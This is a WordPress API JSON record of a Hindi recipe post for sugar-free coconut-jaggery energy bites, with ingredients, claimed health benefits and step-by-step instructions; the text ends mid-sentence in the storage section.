{"id":844,"date":"2026-02-26T19:30:07","date_gmt":"2026-02-26T14:00:07","guid":{"rendered":"https:\/\/simplereceipes.in\/?p=844"},"modified":"2026-04-07T13:56:23","modified_gmt":"2026-04-07T08:26:23","slug":"healthy-nariyal-gud-energy-bites-no-sugar-sweet","status":"publish","type":"post","link":"https:\/\/simplereceipes.in\/en\/healthy-nariyal-gud-energy-bites-no-sugar-sweet\/","title":{"rendered":"\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u2013 9 \u091c\u092c\u0930\u0926\u0938\u094d\u0924 \u092b\u093e\u092f\u0926\u0947 \u0935\u093e\u0932\u093e Perfect No Sugar Sweet"},"content":{"rendered":"\n<p>\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u0930\u0947\u0938\u093f\u092a\u0940 \u2013 \u092c\u093f\u0928\u093e \u091a\u0940\u0928\u0940, \u092c\u093f\u0928\u093e \u092e\u0948\u0926\u093e, \u0907\u0902\u0938\u094d\u091f\u0947\u0902\u091f \u090f\u0928\u0930\u094d\u091c\u0940 \u0926\u0947\u0928\u0947 \u0935\u093e\u0932\u093e \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0928\u094b \u0936\u0941\u0917\u0930 \u0938\u094d\u0935\u0940\u091f\u0964 \u092c\u091a\u094d\u091a\u094b\u0902 \u0914\u0930 \u092c\u0921\u093c\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0939\u0947\u0932\u094d\u0926\u0940 \u092e\u093f\u0920\u093e\u0908\u0964<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u092a\u0930\u093f\u091a\u092f<\/h1>\n\n\n\n<p>\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938 \u0905\u0917\u0930 \u0906\u092a \u0910\u0938\u0940 \u092e\u093f\u0920\u093e\u0908 \u0922\u0942\u0902\u0922 \u0930\u0939\u0947 \u0939\u0948\u0902 \u091c\u094b <strong>\u092c\u093f\u0928\u093e \u091a\u0940\u0928\u0940<\/strong>, <strong>\u092c\u093f\u0928\u093e \u092e\u0948\u0926\u093e<\/strong> \u0914\u0930 \u092a\u0942\u0930\u0940 \u0924\u0930\u0939 \u0938\u0947 <strong>\u0928\u0947\u091a\u0941\u0930\u0932 \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u0942\u0938\u094d\u091f\u0930<\/strong> \u0939\u094b, \u0924\u094b <em>\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938<\/em> \u0906\u092a\u0915\u0947 \u0932\u093f\u090f \u092a\u0930\u092b\u0947\u0915\u094d\u091f \u0939\u0948\u0964<\/p>\n\n\n\n<p>\u092f\u0939 \u0930\u0947\u0938\u093f\u092a\u0940 \u0916\u093e\u0938\u0915\u0930 \u0909\u0928 \u0932\u094b\u0917\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u0939\u0948 \u091c\u094b:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>Weight loss \u0921\u093e\u0907\u091f \u092b\u0949\u0932\u094b \u0915\u0930 \u0930\u0939\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>Refined sugar avoid \u0915\u0930\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>\u092c\u091a\u094d\u091a\u094b\u0902 \u0915\u094b \u0939\u0947\u0932\u094d\u0926\u0940 \u0938\u094d\u0935\u0940\u091f \u0926\u0947\u0928\u093e \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>\u0935\u0930\u094d\u0915\u0906\u0909\u091f \u0915\u0947 \u092c\u093e\u0926 \u090f\u0928\u0930\u094d\u091c\u0940 \u0938\u094d\u0928\u0948\u0915 \u091a\u093e\u0939\u0924\u0947 \u0939\u0948\u0902<\/li>\n<\/ul>\n\n\n\n<p>\u0928\u093e\u0930\u093f\u092f\u0932 \u0914\u0930 \u0917\u0941\u0921\u093c \u0915\u093e \u0915\u0949\u092e\u094d\u092c\u093f\u0928\u0947\u0936\u0928 \u0906\u092f\u0941\u0930\u094d\u0935\u0947\u0926\u093f\u0915 \u0930\u0942\u092a \u0938\u0947 \u092d\u0940 \u092a\u093e\u091a\u0928, \u0907\u092e\u094d\u092f\u0941\u0928\u093f\u091f\u0940 \u0914\u0930 \u0939\u093e\u0930\u094d\u092e\u094b\u0928 \u092c\u0948\u0932\u0947\u0902\u0938 \u0915\u0947 \u0932\u093f\u090f \u0932\u093e\u092d\u0915\u093e\u0930\u0940 \u092e\u093e\u0928\u093e \u091c\u093e\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u093e\u092e\u0917\u094d\u0930\u0940 (Detailed + Scientific Benefits)<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0924\u093e\u091c\u093e \u0915\u0926\u094d\u0926\u0942\u0915\u0938 \u0915\u093f\u092f\u093e \u0928\u093e\u0930\u093f\u092f\u0932 \u2013 1 \u0915\u092a<\/h3>\n\n\n\n<p> \u0939\u0947\u0932\u094d\u0926\u0940 \u092b\u0948\u091f (MCTs) \u0938\u0947 \u092d\u0930\u092a\u0942\u0930<br> \u092e\u0947\u091f\u093e\u092c\u0949\u0932\u093f\u091c\u094d\u092e \u0924\u0947\u091c \u0915\u0930\u0924\u093e \u0939\u0948<br> \u0924\u094d\u0935\u091a\u093e \u0914\u0930 \u092c\u093e\u0932\u094b\u0902 \u0915\u0947 \u0932\u093f\u090f \u092b\u093e\u092f\u0926\u0947\u092e\u0902\u0926<\/p>\n\n\n\n<figure class=\"wp-block-image size-full\"><img fetchpriority=\"high\" decoding=\"async\" width=\"504\" height=\"504\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/coconut-shredded-fresh-sweetened.jpg\" alt=\"\" class=\"wp-image-845\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/coconut-shredded-fresh-sweetened.jpg 504w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/coconut-shredded-fresh-sweetened-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/coconut-shredded-fresh-sweetened-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/coconut-shredded-fresh-sweetened-12x12.jpg 12w\" sizes=\"(max-width: 504px) 100vw, 504px\" \/><figcaption class=\"wp-element-caption\">\u0915\u0926\u094d\u0926\u0942\u0915\u0938 \u0915\u093f\u092f\u093e \u0928\u093e\u0930\u093f\u092f\u0932<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0926\u0947\u0938\u0940 \u0917\u0941\u0921\u093c (\u0915\u0926\u094d\u0926\u0942\u0915\u0938 \u0915\u093f\u092f\u093e \u0939\u0941\u0906) \u2013 \u00be \u0915\u092a<\/h3>\n\n\n\n<p> \u0906\u092f\u0930\u0928 \u0930\u093f\u091a<br> \u092c\u094d\u0932\u0921 \u0936\u0941\u0917\u0930 \u0915\u094b \u0930\u093f\u092b\u093e\u0907\u0902\u0921 \u0936\u0941\u0917\u0930 \u0915\u0940 \u0924\u0941\u0932\u0928\u093e \u092e\u0947\u0902 \u0927\u0940\u0930\u0947 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948<br> \u0921\u093e\u0907\u091c\u0947\u0936\u0928 \u092c\u0947\u0939\u0924\u0930 \u0915\u0930\u0924\u093e \u0939\u0948<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img decoding=\"async\" width=\"1024\" height=\"1024\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1-1024x1024.jpg\" alt=\"\" class=\"wp-image-846\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1-1024x1024.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1-768x768.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1-12x12.jpg 12w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/Jaggerypowder-1.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><figcaption class=\"wp-element-caption\">\u0926\u0947\u0938\u0940 \u0917\u0941\u0921\u093c<\/figcaption><\/figure>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0926\u0947\u0938\u0940 \u0918\u0940 \u2013 1 \u091f\u0940\u0938\u094d\u092a\u0942\u0928<\/h3>\n\n\n\n<p> \u0928\u094d\u092f\u0942\u091f\u094d\u0930\u093f\u090f\u0902\u091f \u090f\u092c\u094d\u091c\u0949\u0930\u094d\u092a\u094d\u0936\u0928 \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948<br> \u0938\u094d\u0935\u093e\u0926 \u0914\u0930 \u092c\u093e\u0907\u0902\u0921\u093f\u0902\u0917 \u092e\u0947\u0902 \u092e\u0926\u0926 \u0915\u0930\u0924\u093e \u0939\u0948<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u0907\u0932\u093e\u092f\u091a\u0940 \u092a\u093e\u0909\u0921\u0930 \u2013 \u00bd \u091f\u0940\u0938\u094d\u092a\u0942\u0928<\/h3>\n\n\n\n<p> \u0921\u093e\u0907\u091c\u0947\u0936\u0928 \u092b\u094d\u0930\u0947\u0902\u0921\u0932\u0940<br> \u0928\u0948\u091a\u0941\u0930\u0932 \u092b\u094d\u0932\u0947\u0935\u0930<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">\u091a\u093f\u092f\u093e \u0938\u0940\u0921\u094d\u0938 \u092f\u093e \u0905\u0932\u0938\u0940 \u092a\u093e\u0909\u0921\u0930 \u2013 1 \u091f\u0947\u092c\u0932\u0938\u094d\u092a\u0942\u0928 (Optional Superfood)<\/h3>\n\n\n\n<p> \u0913\u092e\u0947\u0917\u093e-3 \u092b\u0948\u091f\u0940 \u090f\u0938\u093f\u0921<br> \u0939\u093e\u0930\u094d\u092e\u094b\u0928 \u092c\u0948\u0932\u0947\u0902\u0938<\/p>\n\n\n\n<h3 class=\"wp-block-heading\">Ingredient Preparation Science<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"> Step 1: \u0928\u093e\u0930\u093f\u092f\u0932 \u0915\u0940 \u0928\u092e\u0940 \u0915\u094b \u0938\u0902\u0924\u0941\u0932\u093f\u0924 \u0915\u0930\u0928\u093e<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u093e \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0924\u093e\u091c\u093e \u0915\u0926\u094d\u0926\u0942\u0915\u0938 \u0915\u093f\u092f\u093e \u0939\u0941\u0906 \u0928\u093e\u0930\u093f\u092f\u0932 \u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u092e\u0927\u094d\u092f\u092e \u0906\u0902\u091a \u092a\u0930 3\u20134 \u092e\u093f\u0928\u091f \u0939\u0932\u094d\u0915\u093e \u0938\u0942\u0916\u093e \u092d\u0942\u0928\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0930\u0902\u0917 \u092c\u0926\u0932\u0928\u0947 \u0928 \u0926\u0947\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0915\u0930\u0947\u0902 (Scientific Reason):<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0924\u093e\u091c\u093e \u0928\u093e\u0930\u093f\u092f\u0932 \u092e\u0947\u0902 \u0932\u0917\u092d\u0917 45\u201350% \u0924\u0915 \u0928\u092e\u0940 \u0939\u094b\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0905\u0927\u093f\u0915 \u0928\u092e\u0940 \u0930\u0939\u0928\u0947 \u092a\u0930 \u092c\u093e\u0907\u091f\u094d\u0938 \u091c\u0932\u094d\u0926\u0940 \u0916\u0930\u093e\u092c \u0939\u094b \u0938\u0915\u0924\u0947 \u0939\u0948\u0902\u0964<\/li>\n\n\n\n<li>\u0939\u0932\u094d\u0915\u093e \u0930\u094b\u0938\u094d\u091f \u0915\u0930\u0928\u0947 \u0938\u0947:\n<ul class=\"wp-block-list\">\n<li>\u092a\u093e\u0928\u0940 \u0935\u093e\u0937\u094d\u092a\u093f\u0924 \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u0936\u0947\u0932\u094d\u092b \u0932\u093e\u0907\u092b \u092c\u0922\u093c\u0924\u0940 \u0939\u0948<\/li>\n\n\n\n<li>\u0928\u093e\u0930\u093f\u092f\u0932 \u0915\u0940 \u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u092e\u093f\u0920\u093e\u0938 \u0909\u092d\u0930\u0924\u0940 \u0939\u0948 (Maillard reaction \u0939\u0932\u094d\u0915\u0947 \u0938\u094d\u0924\u0930 \u092a\u0930 \u0936\u0941\u0930\u0942 \u0939\u094b\u0924\u0940 \u0939\u0948)<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p> \u0927\u094d\u092f\u093e\u0928: \u092c\u094d\u0930\u093e\u0909\u0928 \u0928 \u0939\u094b\u0928\u0947 \u0926\u0947\u0902, \u0935\u0930\u0928\u093e \u092b\u0948\u091f \u0911\u0915\u094d\u0938\u0940\u0921\u0947\u0936\u0928 \u0936\u0941\u0930\u0942 \u0939\u094b \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> Jaggery Syrup Control (\u0938\u092c\u0938\u0947 \u092e\u0939\u0924\u094d\u0935\u092a\u0942\u0930\u094d\u0923 \u0938\u094d\u091f\u0947\u092a)<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0917\u0941\u0921\u093c \u0915\u094b \u0938\u0939\u0940 \u0924\u093e\u092a\u092e\u093e\u0928 \u092a\u0930 \u092a\u093f\u0918\u0932\u093e\u0928\u093e<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u093e \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u0948\u0928 \u0915\u094b \u0927\u0940\u092e\u0940 \u0906\u0902\u091a \u092a\u0930 \u0930\u0916\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0915\u0926\u094d\u0926\u0942\u0915\u0938 \u0915\u093f\u092f\u093e \u0939\u0941\u0906 \u0917\u0941\u0921\u093c \u0921\u093e\u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u092c\u093f\u0928\u093e \u092a\u093e\u0928\u0940 \u0921\u093e\u0932\u0947 \u0927\u0940\u0930\u0947-\u0927\u0940\u0930\u0947 \u092a\u093f\u0918\u0932\u0928\u0947 \u0926\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0932\u0917\u093e\u0924\u093e\u0930 \u091a\u0932\u093e\u0924\u0947 \u0930\u0939\u0947\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0915\u0930\u0947\u0902:<a href=\"http:\/\/who.int (WHO)\">http:\/\/who.int (WHO)<\/a><\/h3>\n\n\n\n<p>\u0917\u0941\u0921\u093c \u092e\u0947\u0902 \u092e\u094c\u091c\u0942\u0926 \u092e\u093f\u0928\u0930\u0932\u094d\u0938 (Iron, Magnesium, Potassium) 120\u00b0C \u0938\u0947 \u090a\u092a\u0930 \u0924\u093e\u092a\u092e\u093e\u0928 \u092a\u0930 \u0915\u094d\u0937\u0924\u093f\u0917\u094d\u0930\u0938\u094d\u0924 \u0939\u094b\u0928\u0947 \u0932\u0917\u0924\u0947 \u0939\u0948\u0902\u0964<\/p>\n\n\n\n<p> \u0907\u0938\u0932\u093f\u090f:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>High flame = Nutrient loss<\/li>\n\n\n\n<li>Slow melting = Mineral retention<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0938\u0939\u0940 \u0938\u094d\u091f\u0947\u091c \u0915\u0948\u0938\u0947 \u092a\u0939\u091a\u093e\u0928\u0947\u0902?<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0917\u0941\u0921\u093c \u091a\u093f\u092a\u091a\u093f\u092a\u093e \u0932\u0947\u0915\u093f\u0928 \u092a\u0924\u0932\u093e \u0928\u0939\u0940\u0902 \u0939\u094b\u0928\u093e \u091a\u093e\u0939\u093f\u090f\u0964<\/li>\n\n\n\n<li>\u201cSoft Ball Stage\u201d \u0938\u0947 \u092a\u0939\u0932\u0947 \u0917\u0948\u0938 \u092c\u0902\u0926 \u0915\u0930 \u0926\u0947\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0928\u093e\u0930\u093f\u092f\u0932 \u0914\u0930 \u0917\u0941\u0921\u093c \u0915\u093e \u0938\u0939\u0940 \u0905\u0928\u0941\u092a\u093e\u0924 \u092e\u093f\u0932\u093e\u0928\u093e<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u093e \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0917\u0948\u0938 \u092c\u0902\u0926 \u0915\u0930\u0915\u0947 \u0924\u0941\u0930\u0902\u0924 \u0930\u094b\u0938\u094d\u091f\u0947\u0921 \u0928\u093e\u0930\u093f\u092f\u0932 \u0921\u093e\u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u0932\u0917\u093e\u0924\u093e\u0930 2\u20133 \u092e\u093f\u0928\u091f \u092e\u093f\u0932\u093e\u090f\u0902\u0964<\/li>\n\n\n\n<li>1 \u091f\u0940\u0938\u094d\u092a\u0942\u0928 \u0926\u0947\u0938\u0940 \u0918\u0940 \u092e\u093f\u0932\u093e\u090f\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<div class=\"wp-block-cover\"><img decoding=\"async\" width=\"1024\" height=\"1024\" class=\"wp-block-cover__image-background wp-image-847\" alt=\"\" src=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/image_dd9b67c0-3182-47f2-903d-68-1024x1024.jpg\" data-object-fit=\"cover\" srcset=\"https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/image_dd9b67c0-3182-47f2-903d-68-1024x1024.jpg 1024w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/image_dd9b67c0-3182-47f2-903d-68-300x300.jpg 300w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/image_dd9b67c0-3182-47f2-903d-68-150x150.jpg 150w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/image_dd9b67c0-3182-47f2-903d-68-768x768.jpg 768w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/image_dd9b67c0-3182-47f2-903d-68-12x12.jpg 12w, https:\/\/simplereceipes.in\/wp-content\/uploads\/2026\/02\/image_dd9b67c0-3182-47f2-903d-68.jpg 1200w\" sizes=\"(max-width: 1024px) 100vw, 1024px\" \/><span aria-hidden=\"true\" class=\"wp-block-cover__background has-background-dim\"><\/span><div class=\"wp-block-cover__inner-container is-layout-flow wp-block-cover-is-layout-flow\">\n<p class=\"has-text-align-center has-large-font-size\"><strong><em>\u0939\u0947\u0932\u094d\u0926\u0940 \u0928\u093e\u0930\u093f\u092f\u0932-\u0917\u0941\u0921\u093c \u090f\u0928\u0930\u094d\u091c\u0940 \u092c\u093e\u0907\u091f\u094d\u0938<\/em><\/strong><\/p>\n<\/div><\/div>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0915\u0930\u0947\u0902:<a href=\"https:\/\/simplereceipes.in\/recipes\/\" data-type=\"page\" data-id=\"229\">Recipes<\/a><\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0917\u0941\u0921\u093c \u0920\u0902\u0921\u093e \u0939\u094b\u0924\u0947 \u0939\u0940 \u0915\u094d\u0930\u093f\u0938\u094d\u091f\u0932\u093e\u0907\u091c \u0939\u094b\u0928\u0947 \u0932\u0917\u0924\u093e \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0924\u0941\u0930\u0902\u0924 \u092e\u093f\u0915\u094d\u0938 \u0915\u0930\u0928\u0947 \u0938\u0947:\n<ul class=\"wp-block-list\">\n<li>\u0917\u0941\u0921\u093c \u0938\u092e\u093e\u0928 \u0930\u0942\u092a \u0938\u0947 \u0915\u094b\u091f \u0939\u094b\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u0938\u094d\u092e\u0942\u0926 \u092c\u0928\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u0939\u093e\u0930\u094d\u0921 \u0915\u094d\u0932\u0902\u092a\u093f\u0902\u0917 \u0928\u0939\u0940\u0902 \u0939\u094b\u0924\u0940<\/li>\n<\/ul>\n<\/li>\n<\/ul>\n\n\n\n<p>\u0918\u0940 \u0915\u093e \u0915\u093e\u0930\u094d\u092f:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0932\u093f\u092a\u093f\u0921 \u0932\u0947\u092f\u0930 \u092c\u0928\u093e\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>\u092e\u093f\u0936\u094d\u0930\u0923 \u0915\u094b \u0938\u0949\u092b\u094d\u091f \u0930\u0916\u0924\u093e \u0939\u0948<\/li>\n\n\n\n<li>Nutrient absorption \u092c\u0922\u093c\u093e\u0924\u093e \u0939\u0948<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0907\u0932\u093e\u092f\u091a\u0940 \u0914\u0930 \u0938\u0941\u092a\u0930\u092b\u0942\u0921 \u092e\u093f\u0932\u093e\u0928\u093e<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u093e \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0917\u0948\u0938 \u092c\u0902\u0926 \u0939\u094b\u0928\u0947 \u0915\u0947 \u092c\u093e\u0926 \u0939\u0940 \u0907\u0932\u093e\u092f\u091a\u0940 \u0921\u093e\u0932\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u091a\u093f\u092f\u093e \u0938\u0940\u0921\u094d\u0938 \u092f\u093e \u0905\u0932\u0938\u0940 \u092a\u093e\u0909\u0921\u0930 \u092e\u093f\u0932\u093e\u090f\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<p>\u0907\u0932\u093e\u092f\u091a\u0940 \u092e\u0947\u0902 \u092e\u094c\u091c\u0942\u0926 volatile oils (cineole, terpenes) \u0909\u091a\u094d\u091a \u0924\u093e\u092a\u092e\u093e\u0928 \u092a\u0930 \u0909\u0921\u093c \u091c\u093e\u0924\u0947 \u0939\u0948\u0902\u0964<br>\u0907\u0938\u0932\u093f\u090f \u0907\u0938\u0947 \u0905\u0902\u0924 \u092e\u0947\u0902 \u0921\u093e\u0932\u0928\u093e \u091c\u0930\u0942\u0930\u0940 \u0939\u0948\u0964<\/p>\n\n\n\n<h3 class=\"wp-block-heading\"> \u0938\u0939\u0940 \u0924\u093e\u092a\u092e\u093e\u0928 \u092a\u0930 \u0906\u0915\u093e\u0930 \u0926\u0947\u0928\u093e<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u093e \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092e\u093f\u0936\u094d\u0930\u0923 \u0939\u0932\u094d\u0915\u093e \u0917\u0941\u0928\u0917\u0941\u0928\u093e (\u0932\u0917\u092d\u0917 45\u201350\u00b0C) \u0939\u094b\u0928\u0947 \u092a\u0930 \u091b\u094b\u091f\u0947 \u092c\u0949\u0932\u094d\u0938 \u092c\u0928\u093e\u090f\u0902\u0964<\/li>\n\n\n\n<li>\u092c\u0939\u0941\u0924 \u0920\u0902\u0921\u093e \u0939\u094b\u0928\u0947 \u092a\u0930 \u0938\u0916\u094d\u0924 \u0939\u094b \u091c\u093e\u090f\u0917\u093e\u0964<\/li>\n\n\n\n<li>\u092c\u0939\u0941\u0924 \u0917\u0930\u094d\u092e \u0939\u094b\u0928\u0947 \u092a\u0930 \u0939\u093e\u0925 \u091c\u0932 \u0938\u0915\u0924\u0947 \u0939\u0948\u0902 \u0914\u0930 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u092c\u093f\u0917\u0921\u093c \u0938\u0915\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<p>\u0917\u0941\u0921\u093c \u0915\u093e \u0915\u094d\u0930\u093f\u0938\u094d\u091f\u0932\u093e\u0907\u091c\u0947\u0936\u0928 \u0915\u0942\u0932\u093f\u0902\u0917 \u0915\u0947 \u0926\u094c\u0930\u093e\u0928 \u0939\u094b\u0924\u093e \u0939\u0948\u0964<br>\u0938\u0939\u0940 \u0924\u093e\u092a\u092e\u093e\u0928 \u092a\u0930 \u0906\u0915\u093e\u0930 \u0926\u0947\u0928\u0947 \u0938\u0947:<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092c\u093e\u0907\u091f\u094d\u0938 \u0938\u094d\u092e\u0942\u0926 \u092c\u0928\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>\u0905\u0902\u0926\u0930 \u0938\u0947 \u0938\u0949\u092b\u094d\u091f \u0930\u0939\u0924\u0947 \u0939\u0948\u0902<\/li>\n\n\n\n<li>\u092c\u093e\u0939\u0930 \u0939\u0932\u094d\u0915\u093e \u0938\u0947\u091f \u0939\u094b\u0924\u0947 \u0939\u0948\u0902<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u092a\u094d\u0930\u093e\u0915\u0943\u0924\u093f\u0915 \u0930\u0942\u092a \u0938\u0947 \u0938\u0947\u091f \u0939\u094b\u0928\u0947 \u0926\u0947\u0902<\/h3>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u093e \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u092a\u094d\u0932\u0947\u091f \u092e\u0947\u0902 \u0930\u0916\u0915\u0930 \u0915\u092e\u0930\u0947 \u0915\u0947 \u0924\u093e\u092a\u092e\u093e\u0928 \u092a\u0930 30 \u092e\u093f\u0928\u091f \u091b\u094b\u0921\u093c \u0926\u0947\u0902\u0964<\/li>\n\n\n\n<li>\u092b\u094d\u0930\u093f\u091c \u092e\u0947\u0902 \u0924\u0941\u0930\u0902\u0924 \u0928 \u0930\u0916\u0947\u0902\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\">\u0915\u094d\u092f\u094b\u0902 \u0915\u0930\u0947\u0902:<\/h3>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u0924\u0947\u091c\u0940 \u0938\u0947 \u0920\u0902\u0921\u093e \u0915\u0930\u0928\u0947 \u092a\u0930 \u0917\u0941\u0921\u093c \u0915\u0940 \u0936\u0941\u0917\u0930 \u0915\u094d\u0930\u093f\u0938\u094d\u091f\u0932\u093e\u0907\u091c\u0947\u0936\u0928 \u0905\u0938\u092e\u093e\u0928 \u0939\u094b \u0938\u0915\u0924\u0940 \u0939\u0948\u0964<\/li>\n\n\n\n<li>\u0930\u0942\u092e \u091f\u0947\u092e\u094d\u092a\u0930\u0947\u091a\u0930 \u0915\u0942\u0932\u093f\u0902\u0917 \u0938\u0947 \u091f\u0947\u0915\u094d\u0938\u091a\u0930 \u092c\u0947\u0939\u0924\u0930 \u0930\u0939\u0924\u093e \u0939\u0948\u0964<\/li>\n<\/ul>\n\n\n\n<h3 class=\"wp-block-heading\"> Storage Science<\/h3>\n\n\n\n<p> \u090f\u092f\u0930\u091f\u093e\u0907\u091f \u0915\u0902\u091f\u0947\u0928\u0930<br> \u0928\u092e\u0940 \u0938\u0947 \u0926\u0942\u0930 \u0930\u0916\u0947\u0902<br> 5\u20136 \u0926\u093f\u0928 \u0924\u0915 \u0938\u0941\u0930\u0915\u094d\u0937\u093f\u0924<\/p>\n\n\n\n<p>\u0905\u0917\u0930 \u092b\u094d\u0930\u093f\u091c \u092e\u0947\u0902 